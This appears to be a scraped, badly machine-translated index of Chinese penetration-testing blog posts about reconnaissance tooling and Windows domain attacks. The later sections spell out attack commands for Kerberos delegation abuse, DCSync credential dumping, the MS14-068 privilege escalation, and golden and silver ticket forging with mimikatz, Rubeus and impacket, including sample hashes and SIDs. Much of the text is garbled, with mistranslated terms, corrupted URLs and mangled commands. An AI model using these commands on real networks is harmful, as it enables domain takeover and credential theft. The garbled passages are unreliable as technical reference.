https://bohops.com/2020/05/12/ws-management-com-another-apphach-for-winrm-lateral-movement/ https://xz.aliyun.com/t/6888 https://www.cnblogs.com/mo-/p/12019314.html
- 鱼叉攻击|使用Lnk文件的另类钓鱼方式
-
自动化信息收集工具的实现
作为专业的渗透测试仪,自动化信息收集工具至关重要。 原始意图 由于大型目标的渗透,需要收集数百个根域。在复杂的信息收集工作中,重复性和单调操作将极大地消除我们的耐心。手动执行此操作是非常不现实的。 因此,我在周末花了两天时间对许多扫描仪进行研究。不仅大多数环境配置既麻烦,而且系统都太大了,这非常不便。 在权衡了系统资源消耗,硬件要求,手动程序干预以及以后代码维护的成本之后,我们终于用Python + Shell实施了原型版本。我们引用了有关包含GitHub云扫描仪的一些想法,几乎没有完成一些基本工具的集成,并且一些细节的处理方式却不好。 现在,经过一年多的抛光,它基本上可以涵盖信息收集的每个阶段。 7 {。} s {。} c {。} a {。} n [Asset Collection] 不开源 我对此的定义是“基于实际优化的轻巧,简洁,可扩展,可自定义和优化的参数”。以下是程序运行过程的思维图。 nuclei+x ray [泄漏扫描整合] 使用Nuclei + X射线对随后的Web漏洞的积极检测 核 基于简单的基于YAML的DSL快速且可自定义的漏洞扫描仪。 https://github.com/projectdiscovery/nuclei 1nuclei -t/root/nuclei -templates/-severity关键,高,中,中等-L all_active_webs.txt -bs 50 -c 50 -c 50 -rl 150 -nc | anew -q all_nuclei_output.txt XRARE 多线程呼叫xray+rad用于自动扫描 https://github.com/sv3nbeast/x-autoxray 1Python3 x-autoxray.py all/all_active_webs.txt all/all_xray_result/010-10不开源 后来,我发现网络资产太多了,看起来很混乱且直觉不够。 因此,基于Python烧瓶实现了一个程序,以网页的形式集成了HTTPX + Gowitness的检测结果,支持任意的单列分类,任意的单列搜索,全局搜索(由于此功能由@ME1ONS实现),行计数和ScreenShot Slielshot相似性分类。 search_server [资产集成] 开源:https://github.com/r00tse7en/cobweb 后来使用发现,大型目标收集的子域名与解析IP之间的关系很复杂,用肉眼进行分析时耗时且艰苦。 蜘蛛网蜘蛛网可视化相关的数据,以促进并快速找到目标资产。 测试页面:https://www.se7ensec.cn/cobweb/ 蜘蛛网[资产可视化] 网络显示关系可以拖动 手动阻止菜单并独立突出显示 https://github.com/shmilylty/oneforall https://github.com/projectdiscovery/subfinder https://github.com/boy-hack/ksubdomain https://github.com/lijiejie/subdomainsbrute https://github.com/cgboal/sonarsearch https://github.com/projectdiscovery/dnsx https://github.com/zu1k/nali https://github.com/projectdiscovery/naabu https://github.com/projectdiscovery/httpx https://github.com/p1kaju/httpx https://github.com/adamgordonbell/csvquote https://github.com/projectdiscovery/nuclei https://github.com/soimort/translate-shell https://github.com/sensepost/gowitness https://github.com/lcvvvvv/kscan https://github.com/tomnomnom/anew https://github.com/lc/gau https://github.com/six2dez/ipcdn https://github.com/threatunkown/jsubfinder https://github.com/projectante/dnsgen https://github.com/sv3nbeast/x-autoxray
-
域渗透|Kerberos域认证机制剖析
Kerberos域身份验证机制的分析 kerberos概念 Kerberos是一种网络身份验证协议,旨在通过密钥系统为客户端/服务器应用程序提供强大的身份验证服务。此身份验证过程的实现不依赖于主机操作系统的身份验证,不需要基于主机地址的信任,不需要网络上所有主机的物理安全性,并且假设可以任意读取,修改和插入网络上传输的数据包。 在上述情况下,Kerberos作为可信赖的第三方身份验证服务,通过传统的加密技术(例如:共享密钥)执行身份验证服务。 涉及域身份验证的角色 Kerberos的徽标是三个狗头,狗头代表以下三个字符 客户访问服务 提供服务的服务器 KDC(密钥配送中心)钥匙配送中心Kerberos测试工具简介 KDC服务默认情况下将在域中安装在域控件中,而客户端和服务器是域内的用户或服务,例如HTTP服务和SQL服务。客户是否有权访问Kerberos的服务器服务,取决于KDC(密钥配电中心)发行的收据。 Kerberos认证协议 TGT(票票) 身份身份验证服务授予的门票为(身份验证服务)。 TGT用于身份认证,并存储在内存中。默认有效期为10小时。门票可以通过TGT获得。 TGT是临时证书,伪造的TGT也称为金笔记。 比尔(服务器票/票) 是网络对象相互访问的凭据,伪造的ST \票证也称为银账单。 KDC(密钥配电中心) 负责管理票据,认证票据和分发票据,但KDC不是独立服务,它由以下服务组成: AS(身份验证服务):身份身份验证服务,为客户生成TGT(授予票务)服务。 TGS(授予服务机票):票务授予服务,为客户的票务生成服务。 ad(帐户数据库) 一个类似于本机SAM的数据库,该数据库存储了所有客户的白名单。只有白名单上存在的客户才能成功申请TGT。 ※补充:从物理角度来看,AD和KDC都是域控制器(域控制器)。 粗域身份验证过程 该过程的简要说明 ①-②:来自Kerberos服务的客户请求,希望获得访问服务器的许可。当Kerberos收到这个消息时,他必须首先确定客户是否值得信赖,这是白名单黑名单的说法。 这就是AS(身份验证服务)服务所做的,通过在AD(帐户数据库)中存储黑名单和白名单来区分客户。 成功后,AS(身份验证服务)将TGT(授予票证票)返回客户。 ③-④:客户端获得TGT(授予票证票)后,它继续向Kerberos请求,希望获得访问服务器的许可。 Kerberos再次收到了此消息。目前,通过客户端消息中的TGT,确定客户端已有此许可,并授予客户端访问服务器机票的权限。 ⑤-⑥:客户端获得机票后,他最终可以成功访问服务器。该票仅适用于该服务器,其他服务器需要应用于TGS(授予服务票)。 详细描述 AS_REQ:客户端启动AS_REQ至KDC,请求凭据是客户端哈希加密的时间戳 AS_REP: KDC使用客户端进行解密。如果结果正确,它将返回使用KRBTGT哈希加密的TGT票。 TGT包含PAC,PAC包含用户客户端和用户客户端所在的组的SID。 TGS_REQ:客户端启动了带有TGT票证的特定服务器的TGS_REQ请求 TGS_REP: KDC使用KRBTGT哈希进行解密。如果结果正确,它将返回使用服务器哈希加密的TGS票证[票证](此步骤无关紧要,如果用户是否可以访问服务器,只要TGT正确,它就会返回TGS Ticket [Ticket]) AP_REQ:客户端将TGS票(票)带到请求服务器 AP_REP:服务器使用自己的哈希人解密TGS门票(门票)。如果解密是正确的,请将PAC带到KDC并询问客户是否具有访问权限,并且域控制将解密PAC。获取客户端的SID及其所在的组,然后确定客户端是否有权根据服务的ACL访问服务器。 域身份验证的详细过程 as_req as_rep as_req 123456781。PVNOKERBEROS版本编号2。MSG型类型,AS_REQ对应于KRB_AS_REQ(0x0A)3。 PA_DATA主要指一些身份验证信息。一个包含几个用于身份验证的身份验证消息的列表,我们也可以身份验证器。每个身份验证消息都有类型和值。 4。req_bodykdc-options某些标志字段 as_rep 123456789101。msg-typeas_req的响应主体对应于krb_as_rep(0x0b)2。 Crealm域名3。CNAME用户名4。票务此票用于TGS_REQ身份验证。它是加密的,用户无法阅读。在AS_REQ请求中,使用KRBTGT哈希进行加密。因此,如果我们有Krbtgt的哈希,我们可以自己制作一张票,这是一张金色的票据。有关详细信息,请参阅相关的安全问题5。可以解密ENC_PART的这一部分。关键是用户哈希。解密后,获得加密键。加密中最重要的字段是会话密钥,该键用作下一阶段的身份验证密钥。 TGS_REQ TGS_REP tgs_req 1234567891111。对于味精类型,TGS_REQ对应于KRB_TGS_REQ(0x0C)2。 PA-DATA普通TGS_REQ请求要求AP_REQ:这是必须携带TGS_REQ的部分。该部分将携带在AS_REP中获得的TGT票,并将其放置在此结构中。 KDC检查了TGT法案,如果账单正确,则返回TGS法案。 PA_FOR_USER:类型为S4U2Self,该值是指示用户身份的唯一标识符。这个唯一的标识符由用户名和域名组成。 S4U2Proxy必须扩展PA_FOR_USER结构,并指定服务代表用户(图片是管理员)来请求服务本身的Kerberos服务票。 PA_PAC_OPTIONS:值是以下标志声明(0),分支识别(1),转发到完整DC(2),基于资源的约束委托(3)的组合。 Microsoft的MS-SFU 2.2.5,S4U2Proxy必须扩展PA-PAC-OPTIONS结构。如果是基于资源的约束委托,则需要指定基于资源的约束委托位。 3。req_bodysname:这是要请求的服务。 TGS_REP获得的票证使用服务用户的哈希(Hash)进行加密。有一个更有趣的功能,如果指定的服务是KRBTGT,则可以将您获得的TGS账单用作TGT账单。 addtionticket:附件。在S4U2Proxy请求中,需要两个正常的TGT,并且需要在S4U2自行阶段获得的TG。然后将此TGS添加到addtionticket中。 tgs_rep 1234561。MSG-TYPEAS_REQ的响应主体对应于KRB_TGS_REQ(0x0d)2。票证用于AP_REQ身份验证。 内部的enc_part被加密,用户无法读取内部内容。在AS_REQ请求中,使用KRBTGT哈希进行加密,而在TGS_REQ中,它是使用要请求的服务哈希进行加密的。因此,如果我们拥有服务的哈希,我们可以自己制作一张票,这是银笔记。有关详细信息,请参阅相关的安全问题银法案。由于使用要请求的服务的哈希进行了加密,因此我们可以通过爆炸enc_part获得服务的哈希。有关详细信息,请参阅相关的安全问题Kerberoasting。 3。ENC_PART请注意,此ENC_PART不是票证中的enc_part,可以解密其中的一部分。关键是session_key在上一轮AS_REP中返回,即导入凭据中的session_key。解密后,获得加密密钥。加密密钥结构中最重要的字段也是session_key(但是此session_key与上一轮中的session_key不同),并用作下一阶段的身份验证密钥。 s4u2self S4U2自己的过程如下图所示(先决条件是该服务已经具有通过KDC验证的TGT) S4U2自己使服务能够代表用户获得服务本身的Kerberos服务门票。这允许服务获得用户的授权(可转发用户TGS票证),然后将其用于以后的身份验证(主要是稍后的S4U2Proxy),当用户在不使用Kerberos的情况下对服务进行身份验证时,该验证供您使用。这里非常重要的一点是,该服务代表用户获得服务本身的Kerberos门票。该服务不需要用户凭据。 s4u2proxy S4U2Proxy的过程如下图所示 S4U2Proxy使服务1能够使用用户的授权(在S4U2自行阶段获得),然后使用此TGS(放置在addTionTicket中)来请求KDC的TGS访问服务2,并代表用户访问服务2,并且只能访问服务2。 委托 当Windows 2000服务器首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持一个方案,其中用户通过Kerberos通过Kerberos对Web服务器进行身份验证,并且需要代表该用户在后端数据库服务器上更新记录。这通常称为“ Kerberos双跳问题”,需要委托,以便Web服务器在修改数据库记录时模拟用户。 要注意的一件事是,接受委托的用户只能是服务帐户或计算机用户。 无约束委托 示例: 服务(例如Jackson-PC $)配置为无限制的委托,因此Jackson-PC $可以接受任何用户的委派来请求所有其他服务。协议级别的实现是,如果用户委托Jackson-PC $访问某个服务,则用户将将TGT(In TGS)发送到Jackson-PC $,并将其缓存到LSASS,以方便将来使用。然后,Jackson-PC $模拟用户请求特定服务。 具有非受限委托的用户的用户accountControl属性具有标志位。 TrustedfordElegation。可以在转换AD AD USERACCOUNTCONTROL属性值中找到UserAccountControl位的含义(我们还将在LDAP文章中详细介绍它)。相应的trusted_for_delegation为0x80000,为524288。 约束委托 Microsoft很早就意识到,在Windows 2003上,无约束的委派不是特别安全,并发布了“约束”委派。 这包括一组Kerberos协议扩展,这是本文前面提到的S4U2Self和S4U2Proxy的两个扩展。配置后,受约束的委托将限制指定服务器可以代表用户执行的服务。这需要可见的元素特权(敏感,通常仅授予域管理员)才能配置服务域帐户并将帐户限制为单个域。 例子: 计算机用户(即Jackson-PC $)配置为有限的委托,因此Jackson-PC $可以接受任何用户的委派来请求特定服务。特定过程是,在收到用户的请求后,它首先代表用户获得了服务本身的透明kerberos服务票(S4U2Self),并请求KDC从KDC中访问特定的服务的可转发TGS(s4u2proxy),从KDC中访问特定的服务,并且只能访问特定的用户和特定服务的特定服务。 与无限制的委托相比,约束授权之间的最大差异是在配置时选择特定的服务,而不是所有服务。 配置为限制委托的UseraccountControl的用户AccountControl属性具有标志位可信度AauthfordElegation。关于对应于用户accountControl的每个位的含义,您可以看到转换AD AD USERACCOUNTCONTROL属性值,其中Trusted_to_to_auth_for_delegation对应于0x1000000,即167777216。 基于资源的约束委托 为了配置受约束的委托,您必须具有SigeAbledeleagelegation特权(此特权是敏感的,通常仅授予域管理员)。为了使用户/资源更加独立,在Windows Server 2012中引入了基于资源的约束委托。基于资源的约束委托允许将资源配置信任的帐户委派给他们。基于资源的约束代表团将委派控件交给拥有访问资源的管理员。 基于资源的约束委托只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式森林中应用。这种约束委托的样式与传统约束委托非常相似,但具有相反的配置。 传统约束代表团在MSDS-AllowDodelegateTo属性中的帐户A上配置,并定义了从A到B的“传出”信任。 基于资源的约束委托委托在s-woldedtoactonbehalfofofofrofoffofrofentity属性中的帐户B上配置,并定义了从A到B的“传入”信任。 PAC Microsoft引入的访问控制引入的扩展PAC。历史上已经看到了一个严重的漏洞,使普通用户可以晋升为域管理MS14068。 kerberos过程引入PAC 用户将AS_REQ启动到KDC,并且请求凭据是用户哈希加密的时间戳。 KDC使用用户哈希解密。如果结果是正确的,则返回使用KRBTGT哈希加密的TGT票证。 TGT包含PAC,PAC包含用户的SID和用户所在的组。 用户使用TGT启动了针对KDC的特定服务的TGS_REQ请求。 KDC使用KRBTGT哈希进行解密。 If the result is correct, it returns the ST\Ticket encrypted with the service hash (this step does not matter whether the user has access to the service or not, as long as the TGT is correct, it returns the ST\Ticket. This is also the reason why kerberoating can use: any user, as long as the hash is correct, can request the ST\Ticket of any service in the domain. For details, please refer to the Windows Intranet Protocol to learn the TGSREQ TGSREP在Kerberos文章中) 用户将ST \ Ticke索取服务,该服务使用自己的哈希解密ST \ Ticke。如果解密是正确的,请将PAC带到KDC,询问用户是否具有访问权限,并且域控制解密PAC。获取用户的SID和用户所在的组,然后确定用户是否有权访问服务。如果有访问权限,将允许用户访问用户(如果有用户哈希,您可以制作st \ ticket,但是您无法制作PAC,而PAC自然无法验证PAC,但是有些服务不能验证PAC,这是银账单成功的先决条件)。 尤其指出的是,在整个过程中,PAC对用户和服务都是看不见的。只有KDC可以制作和查看PAC。 相关的安全问题 as_req as_rep pth \ ptk 连接到配置时,允许您使用哈希进行身份验证。不仅可以对帐户和密码进行身份验证。 由于在身份验证时使用用户哈希对时间戳进行加密,因此在使用密码登录时,您应首先将密码加密到验证之前。 因此,如果只有用户哈希,并且没有明确的文本密码,也可以执行身份验证。 无论是Rubeus还是Impacket,相关脚本都支持直接使用哈希进行身份验证。 12如果哈希是ntlm哈希,然后加密方法为rc4,如果哈希是aes键(使用sekurlsa:ekeys导出,则可以完成,即使在许多地方传递键并且不支持rc4 Encryptight方法,也可以使用键是一个好方法,即使键在许多地方传递。 用户名枚举 如果域中没有域帐户,则列举用户名 如果您有一个域帐户,则可以直接通过LDAP查询(在域机器提及系统权限之后,其机器帐户也是一个域帐户) 执行AS_REQ时,用户名存在,但是密码错误与用户名中不存在的相应软件包不同。通过此比较,您可以编写一个脚本来更改用户名枚举的cname值(https://daiker.gitbook.io/windows-protocol/kerberos/kerberos/1#2.-yong-hu-ming-ming-mei-ju)。 密码喷涂(密码喷涂) 当您已经拥有用户名时,您可以尝试破坏密码。 执行AS_REQ时,存在用户名,并且密码正确,并且存在带有用户名的相应软件包,但密码不正确。 在实际战斗中,“密码喷涂”技术将用于测试和攻击。由于对同一用户的连续密码猜测会导致帐户被锁定,因此只指定了一个唯一的密码,供所有用户同时登录,从而消除了锁定帐户的概率并提高了开裂的成功率。 AS-REPROASTING(用户明文密码爆炸) 用于域用户,该选项不需要Kerberos预先验证(不需要Kerberos预先验证) 目前,将AS_REQ请求发送到域控制器端口88,并重新组合接收到的AS_REP内容(encpart下的CIPER,因为此部分是使用用户哈希加密的会话- 我们可以通过执行离线爆炸来获得用户哈希,可以将其插入“ Kerberos 5 as-rep eType eType exy expy)中,并将其插入。您可以使用HashCat破解它,并最终获取用户的明文密码。 金笔记 确认客户端登录器的用户身份。通过锻造的TGT,您可以获取对由Krbtgt NTLM哈希加密的任何Kerberos的访问权限。 伪造条件 12341,域名2,域SID值3,域KRBTGT帐户哈希(意味着您已经具有域控制器权限)4。伪造任何用户名,可以是任意的。 In Kerberos authentication, after the Client passes AS (Authentication Service) authentication, the AS will give the Client a Logon Session Key and TGT, and the Logon Session Key will not be saved in KDC, and the NTLM Hash of krbtgt is fixed (this account generally does not change the password), so as long as you get the NTLM Hash of krbtgt, you can forge TGT and Logon Session Key to enter客户端和TGS之间互动的下一步。 获得金票后,您可以跳过验证并直接与KDC进行互动,而无需验证您的帐户和密码,因此您不必担心修改域密码。 TGS_REQ TGS_REP PTT(通过票证) kerbreos除了第一步AS_ERQ外,使用时间戳对用户哈希进行加密,其他步骤的验证是通过票证,可以是TGT(票证授予票证)或TGS票务(服务器票证/票证/票)。由于账单中的内容主要是Session_Key和票证(使用服务哈希进行加密,并且该服务包括KRBTGT),因此我们可以在下一阶段使用该账单作为验证。 kerberosting(服务哈希爆炸) ,因为tgs_rep中的票证中的enc_part(票证中的enc_part,而不是最外部的en
-
域渗透|Delegation
代表团 委托 将域中用户的权限委托给服务帐户,以便服务帐户可以在域内通过用户权限在域内进行活动。接受委托的用户只能是服务帐户或主机帐户。 域委托有三种类型:无限制委托,约束委托和基于资源的约束委托。 示例 客户端需要通过HTTP访问SQLServer服务器,但是HTTP无权访问SQLServer。目前,HTTP要求客户端的身份访问SQLServer,然后将请求返回给客户端。 无约束的委托 https://www.se7ensec.cn/2021/20/20/20/%E5%9f%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%9F%9F%9F%E8%E8%AEAAE AEAMAEA; %9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%9D%9D%9E%E7%BA%A6%E6%9D%9D%9D%9F%E5%A7%A7%A7%94%E6%E6%B4%B4%E6%E6%E6%BB%E5%E5%E5%E5%BB 对于无限制的委派, 服务帐户可以获取委派用户的TGT并将TGT缓存到LSASS流程中,以便该服务帐户可以使用TGT模拟访问任何服务的用户。使用非受限委托配置的帐户的UserAccountControl属性具有标志位trusted_for_delegation。非受限委托的设置需要SighableDeleage的特权,该特权通常仅授予域管理员(注意:域控制主机帐户默认情况下将配置无约束的委托属性)。 不受约束的委托是一种高度风险的代表团方法。它使服务器能够通过TGT转发来模拟用户。服务帐户根据用户发送给他的转发TGT代表用户请求任何其他服务。从中可以看出,一旦捕获而没有约束的服务帐户,将滥用用户的身份。 adfind 查询主机的无限委托 1adfind.exe -b'dc=nncm,dc=com'-f'(((samaccounttype=805306369)(useracccountcontontrol:1.2.840.113556.1.1.1.1.4.80:=524288)) 1adfind.exe -b'dc=nncm,dc=com'-f'(((samAccountType=805306368)委托用户 1get -netuser -uncontain -domain nncm.com |选择名称查找域中配置了未约束委托的主机 1get -netComputer -uncontred -domain nncm.com |选择名称 PowerView 随附Kali,适用于在域中在域中配置非受限委托的用户查询搜索 1ldapsearch -x -h ldap: //192.168.201.1666:389 -d'cn=test,cn=用户,dc=nncm,dc=com'-W 123456 -B'dc=nnc=nnc=nnc=nnc=nnc=com' (userAcCountControl:1.2.840.113556.1.4.803:=524288))'| grep -ie'Dickindedname'查找主机,在域中配置了无限制的委托书 1ldapsearch -x -h ldap: //192.168.201.1666:389 -d'cn=管理员,cn=用户,dc=nncm,dc=com'-W 123456 -b'dc=nncm,dc=nncm,dc=com' (userAcCountControl:1.2.840.113556.1.4.803:=524288))'| Grep -ie'DickinderedName' ldapsearch 此实现是:您需要获得“主机”启用“主机”,以获得无限制的委托机器,该机器在Domain of domain of Domain of Domain Marchines in domain of Domain of Domain of Domain of domain in domain of domain of domain of domain of domain in domain in domain in https://github.com/leechristensen/spoolsample 在计算机上使用管理员权限执行以下命令,以从DC计算机侦听相关信息 1rubeus.exe Monitor /Interve:1 /FilterUser:DC01 $使用spoolsample强迫DC访问win-tvho4uifmbt机器并获取门票 1-spoolSample.exe DC01 TGT票由Win-TVHO4UIFMBTRUBEUS ITMOT 1rubeus.exe ptt /ticket:用base64 content抓取或使用powershell命令将其转换为文件格式以进行凭证导入 https://blog.csdn.net/a3320315/article/details/106511098 1 [io.file] :3360writeallbytes('c: \ users \ uper \ public \ public \ ticket.kirbi',[convert] :frombase644string('base64 recurnential content'') 1mimikatz.exe'log''lsadump:dcsync /all /csv''exit' 无约束委托 +剥离器利用率 https://WWW.SE7ENSEC.CN/2021/10/20/20/%E5%9F%9F%9F%E6%B8%97%E9%E9%; 81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%BA%A6%E6%E6%9D%9D%9D%E5%E5%A7%A7%A7%E6%E6%E6%B4%B4%E6%E6%E6%E6%94%BB%E5%E5%87%BB 约束委托 受约束的委托可以用作后门许可维护的黄金笔记变体。 https://github.com/skewwg/domaintools/blob/master/delegationvul/%E7%Ba%A6%E6%9D%9D%9F%E5%A7%94%E6%B4%BEB4%BEB4%BEB4%BEB4%BEB4%BEB4%88%88%900; 约束委托利用率 https://www.se7ensec.cn/2021/20/20/20/%E5%9f%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%9F%E8%E8%E8%AEAMAEAMAEA 200; %89%96%E6%9E%90/#%E5%9F%BA%E4%BA%8E%E8%B5%B5%84%E6%BA%BA%90%E7%9A%84%84%E7%BA%A6%A6%A6%A6%E6%E6%E6%9D%9F%9F%E5%E5%e5%a7%a7%e6%e6%E6%E6%E6%E6%E6%e6%BB BB BB 基于资源的约束委托 域渗透——基于资源的约束代表团利用-https://xz.aliyun.com/t/7454 123基于资源的约束委托使用解决问题的问题,即无法使用基于资源的域限制委托委托域名委托域许可维护 基于资源的约束委托利用率 3https://Forum.butian.butian.net.net/share/1591-※红色团队域渗透技术:委托攻击(完整)(完整)攻击(完整) https://xz.aliyun.com/t/7217-※域渗透- Kerberos代表团攻击(本文非常好) https://mp.weixin.qq.com/s/ue2ulu8vxyhryealezbbsw-微软不认识的“ 0day”域中的本地权利促进- 腐烂的番茄 https://Cloud.tencent.com/developer/article/1601095-这是“不同的”真实渗透测试案例分析文章 https://www.cnblogs.com/nice0e3/p/15875685.html -Intra Intra -Domain代表团攻击 https://xz.aliyun.com/t/10061- Kerberos委派攻击是什么 https://MP.Weixin.qq.com/s/gdmnlskjjxhela4guwxtkq-包括所有委派攻击知识点(补充) https://www.cnblogs.com/car7n/p/14789004.html-委托 https://skewwg.github.io/2020/11/11/25/yue-shu-wei-pai-li-yong/-约束代表团利用 https://skewwg.github.io/2020/11/11/11/25/ji-yu-zi-yuan-de-yue-shu-wei-wei-pai-li-li--------基于资源的约束委派利用
-
域渗透|MS14-068
MS14-068 MS14-068 https://WWW.SE7ENSEC.CN/2021/10/20/20/%E5%9F%9F%E6%B8%97%E9%80%80%8F-KERBEROS% E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#Pac-1 MS14068是一个权限升级漏洞,可以使普通用户能够增加其对域控制权限的权力。攻击者可以通过构建特定的请求数据包来实现升级权限的目的。 这种漏洞的主要问题是,KDC将根据指定PAC中的数字签名和PAC的加密算法的加密算法来验证PAC的合法性。这使攻击者可以通过锻造PAC来修改PAC中的SID,从而导致KDC判断攻击者是一个高私密的用户,从而导致了特权升级脆弱性。 漏洞补丁地址: https://Technet.microsoft.com/zh-cn/library/security/security/MS14-068 使用方法 MS14-068的相应补丁是KB3011780。您可以检查此补丁是否通过域控制上的SystemInfo安装。 1SystemInfo |查找'3011780' keoko 12KLIST清除清除账单Kekeo'Exploit3:MS14068 /domain:ROOTKIT.ORG /user33: py:https://github.com/mubix/pykek exe:https://github.com/ianxtianxt/ms14-068 参数描述: -U域帐户@Domain名称 -p是当前用户的密码 -s是当前用户的SID值。可以通过Whoami/All获得用户的SID值。 -d是当前域的域控制 –RC4 Hash适用于当前用户 通过DIR访问域控制的共享文件夹,并促使访问被拒绝。 1dir \\ owa2013.rootkit.org \ c $ Generate ticket 1MS14-068.exe -u sqladmin@rootkit.org -p Admin12345 -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org 成功执行脚本将在当前目录中生成CCACHE文件。在导入票证之前,请在CMD中使用命令KLIST净化,或使用Mimikatz中的Kerberos:Purge删除当前缓存的Kerberos票。 1KLIST清除 使用mimikatz 1mimikatz'kerberos:ptc tgt_sqladmin@rootkit.org.ccace'Exit导入生成的CCACHE文件。 您可以再次通过DIR成功访问域控件共享。 Pykek Goldenpac.py在Impacket工具套件中,该工具是组合MS14-068 Plus PSEXEC的产物,非常易于使用。 1python goldenpac.py -dc-ip 192.168.3.144 -target-ip 192.168.3.144 rootkit.org/sqladmin3:admin12345@owa ewoawa extim32013.rootkit.org https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068 https://daiker.gitbook.io/windows-protocol/kerberos/3#0x00-qian-yan https://cloud.tencent.com/developer/article/1760132 https://www.cnblogs.com/backlion/p/6820744.html
-
域渗透|票据伪造
忘记账单 金笔记 Goldenticket https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%BB%84%E9%E9%87%87%91%E7%E7%A5%A5%A8%A8%E6%8DD%AE 简介 金票(以下称为金票)是伪造的TGT(票务票),因为只要有高授权的TGT,就可以将其发送到TGS进行任何服务的TGS。可以说,有了黄金票,该域中的权威最高。 制作金票的条件 1。域名 2。域的SID值 3。域的KRBTGT帐户密码哈希 4。锻造用户名可以是任何 使用过程 mimikatz 金票的产生需要Krbtgt的哈希值。您可以通过Mimikatz中的命令获得KRBTGT的值。 1LSADUMP:3:DCSYNC /OOWA2013.ROOTKIT.org /user:KrBtgt获取Krbtgt Hash,然后使用Kerberos: -Golden在Mimikatz中的功能产生Golden.kiribi,是成功的成功。 /用户:锻造用户名 /域:域名 /sid:SID值,请注意,最后一个值- 以下值/KRBTGT:KRBTGT HASH值 /ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。 12mimikatz.exe 'kerberos:golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt3360c3d5042c67ef5f461d0ba6ecd9e449 /ptt'Exitklist /kerberos:List可以成功地通过DIR访问域控制的共享文件夹。 1dir \\ owa2013.rootkit.org \ c $ 爆炸 123456781。清除票证klist klist purge2。制作ccache文件python ticketer.py -nthash C3D5042C67EF5F461D0BA6ECDD9EA449 -DOMAIN-SID SID SID SID SID SID SID SID SID SID SID SID SID更改环境变量设置krb5ccname=abtrisyator.ccache/export krb5ccname=indercanceator.ccache4。验证结果python wmiexec.py rootkit.org/administrator@owa2013 -K -no-pass 银笔记 Silvertickets https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%99%BD%E9%E9%93%B6%E7%A5%A5%A5%A8%A8%E6%8DD%AE 需要使用什么服务?在这里查看攻击者如何使用Kerberos银票来利用系统3https://ADSECURITY.org/?p=2011 服务类型 服务银票 WMI 主机,RPCSS powershell远程 主机,HTTP(WSMAN,RPCSS) Winrm 主机,http 计划的任务 主持人 Windows文件共享(CIF) CIFS LDAP操作包括Mimikatz DCSync LDAP Windows远程服务器管理工具 RPCSS,LDAP,CIFS 简介 银票(以下称为银纸币)是伪造的(服务票),因为TGT限于PAC。 客户授权的服务(通过SID的值),因此钞票只能访问指定的服务。 制作银笔记的条件 1。域名 2。域SID 3。完全合格的域名目标服务器的完全合格的域名,即带有主机名和域名的名称。) 4。可用服务(在目标服务器上运行的Kerberos服务,服务主名称类型,例如CIFS,HTTP,MSSQL等) 5。服务帐户的NTLM哈希(如果它是域控制器计算机帐户,则意味着DC已被删除) 6。需要伪造的用户名可以是任何,以下是银 使用过程 mimikatz 首先,我们需要知道服务帐户哈希的密码。在这里,我们还使用域控件作为示例(请注意,在此不使用管理员帐户的哈希,但OWA2013 $) 参数描述: /域:当前域名 /sid:SID值,像金票一样,请上一部分 /目标:目标主机,这是OWA2013.ROOTKIT.org /服务:服务名称,您需要在此处访问共享文件,因此是CIFS /rc4:NTLM服务帐户的哈希值(OWA2013 $) /用户:锻造用户名 /ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。 使用kerberos:ptt导入 1234567891。 /TARGET:OWA2013.ROOTKIT.org /service:Cifs /rc4:dd2162e8606006006dcca0e29b7819721a /user33:silver /ptt'exitklistdir $ 2.ROOTKIT.OROTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT。锻造的LDAP服务权限mimikatz'Kerberos:3:Golden /domain:Rootkit.org /sid:s-1-5-21-37598881954-299999999999993293291187-3577578080808080808083333333333333333333333333333333333333333333333333333333333333333333333333333333633333量表。 /service:ldap /rc4:ddddd2162e8606006dcca0e29b7819721a /user:silver /ptt'exitklistmikikikatz'lsadump333333:dcsync /dcssync /dcssync /dcssync /dcssync /d.ga.ga.gaafa.gaafa.gaafa.arotklistmikikatz /domain:rootkit.org /user:krbtgt' exit. 爆炸 123456781. Forge cifs service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-29993291187-3577547808- domain rootkit.org -dc-ip 192.168.3.144 -spn cifs/owaa2013.Rootkit.org silver2。 Forge LDAP service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn ldap/owa2013.rootkit.org silverset krb5ccname=silver.ccace/export krb5ccname=silver.ccachepython wmiexec.py -k owaa2y2013.Rootkit.org 3 增强版本的金音符 -1 增强式Golden门票 -1 域树和域森林 -1010-110-110-110-110 普通金票的限制 11门票,以便可以获得域控制权限,并且可以访问域中其他主机的任何服务。 但是,不能在域上使用普通的金票,这意味着金票的权限仅限于当前域。 企业管理员组 news.rootkit.org和dev.rootkit.org是rootkit.org的子域,这三个域形成了一个域树。 同样,test.org也是一个单独的域树。将两个域树rootkit.org和test.org合并为被称为域森林。 域名ADMINS组 